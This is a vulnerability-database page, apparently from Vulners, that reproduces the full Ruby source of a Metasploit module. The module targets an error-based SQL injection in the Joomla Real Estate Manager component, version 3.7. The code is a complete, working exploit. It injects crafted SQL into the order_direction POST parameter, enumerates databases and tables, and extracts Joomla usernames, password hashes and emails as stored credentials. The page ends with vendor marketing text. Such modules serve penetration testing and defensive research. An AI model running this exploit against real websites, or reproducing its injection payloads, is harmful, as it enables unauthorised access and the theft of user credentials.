Lucene search
K

Joomla Real Estate Manager Component Error-Based SQL Injection

🗓️ 27 Oct 2015 15:18:17Reported by Omer Ramic, NixawkType 
metasploit
 metasploit
🔗 www.rapid7.com👁 20 Views

Exploits Joomla Real Estate Manager SQL Injection in com_realestatemanager versions 3.7 to retrieve usernames and password hashe

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Joomla Real Estate Manager Component Error-Based SQL Injection',
      'Description'    => %q{
        This module exploits a SQL injection vulnerability in Joomla Plugin
        com_realestatemanager versions 3.7 in order to either enumerate
        usernames and password hashes.
      },
      'References'     =>
        [
          ['EDB', '38445']
        ],
      'Author'         =>
        [
          'Omer Ramic', # discovery
          'Nixawk', # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2015-10-22'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
      ])
  end

  def print_good(message='')
    super("#{rhost}:#{rport} - #{message}")
  end

  def print_status(message='')
    super("#{rhost}:#{rport} - #{message}")
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: ssl ? 'https' : 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user]
    }.merge(service_data)

    if opts[:password]
      credential_data.merge!(
        private_data: opts[:password],
        private_type: :nonreplayable_hash,
        jtr_format: 'md5'
      )
    end

    login_data = {
      core: create_credential(credential_data),
      status: opts[:status],
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def check
    flag = Rex::Text.rand_text_alpha(5)
    payload = "0x#{flag.unpack('H*')[0]}"

    data = sqli(payload)
    if data && data.include?(flag)
      Msf::Exploit::CheckCode::Vulnerable
    else
      Msf::Exploit::CheckCode::Safe
    end
  end

  def sqli(query)
    lmark = Rex::Text.rand_text_alpha(5)
    rmark = Rex::Text.rand_text_alpha(5)

    payload = '(SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
    payload << "0x#{lmark.unpack('H*')[0]},"
    payload << '%s,'
    payload << "0x#{rmark.unpack('H*')[0]},"
    payload << 'FLOOR(RAND(0)*2)'
    payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'

    get = {
      'option' => 'com_realestatemanager',
      'task' => 'showCategory',
      'catid' => '50',
      'Itemid' => '132'
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get'  => get,
    })


    if res && res.code == 200
      cookie = res.get_cookies
      post = {
        'order_field' => 'price',
        'order_direction' => 'asc,' + (payload % query)
      }
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST',
        'cookie' => cookie,
        'vars_get'  => get,
        'vars_post' => post
      })

      # Error based SQL Injection
      if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
        $1
      end
    end
  end

  def query_databases
    dbs = []

    query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
    query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'

    dbc = sqli(query)

    query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
    query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'

    0.upto(dbc.to_i - 1) do |i|
      dbname = sqli(query_fmt % i)
      dbs << dbname
      vprint_good("Found database name: #{dbname}")
    end

    %w(performance_schema information_schema mysql).each do |dbname|
      dbs.delete(dbname) if dbs.include?(dbname)
    end
    dbs
  end

  def query_tables(database)
    tbs = []

    query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
    query << 'FROM INFORMATION_SCHEMA.TABLES '
    query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"

    tbc = sqli(query)

    query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
    query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
    query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
    query_fmt << 'LIMIT %d,1)'

    vprint_status('tables in database: %s' % database)
    0.upto(tbc.to_i - 1) do |i|
      tbname = sqli(query_fmt % i)
      vprint_good("Found table #{database}.#{tbname}")
      tbs << tbname if tbname =~ /_users$/
    end
    tbs
  end

  def query_columns(database, table)
    cols = []
    query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"

    colc = sqli(query)
    vprint_status("Found Columns: #{colc} from #{database}.#{table}")

    valid_cols = [   # joomla_users
      'activation',
      'block',
      'email',
      'id',
      'lastResetTime',
      'lastvisitDate',
      'name',
      'otep',
      'otpKey',
      'params',
      'password',
      'registerDate',
      'requireReset',
      'resetCount',
      'sendEmail',
      'username'
    ]

    query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
    query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"

    0.upto(colc.to_i - 1) do |i|
      record = {}
      valid_cols.each do |col|
        l = 1
        record[col] = ''
        loop do
          value = sqli(query_fmt % [col, l, i])
          break if value.blank?
          record[col] << value
          l += 54
        end
      end
      cols << record

      unless record['username'].blank?
        print_good("Found credential: #{record['username']}:#{record['password']} (Email: #{record['email']})")
        report_cred(
          ip: rhost,
          port: datastore['RPORT'],
          user: record['username'].to_s,
          password: record['password'].to_s,
          status: Metasploit::Model::Login::Status::UNTRIED,
          proof: record.to_s
        )
      end

      vprint_status(record.to_s)
    end
    cols
  end

  def run
    dbs = query_databases
    dbs.each do |db|
      tables = query_tables(db)
      tables.each do |table|
        cols = query_columns(db, table)
        next if cols.blank?
        path = store_loot(
          'joomla.users',
          'text/plain',
          datastore['RHOST'],
          cols.to_json,
          'joomla.users')
        print_good('Saved file to: ' + path)
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation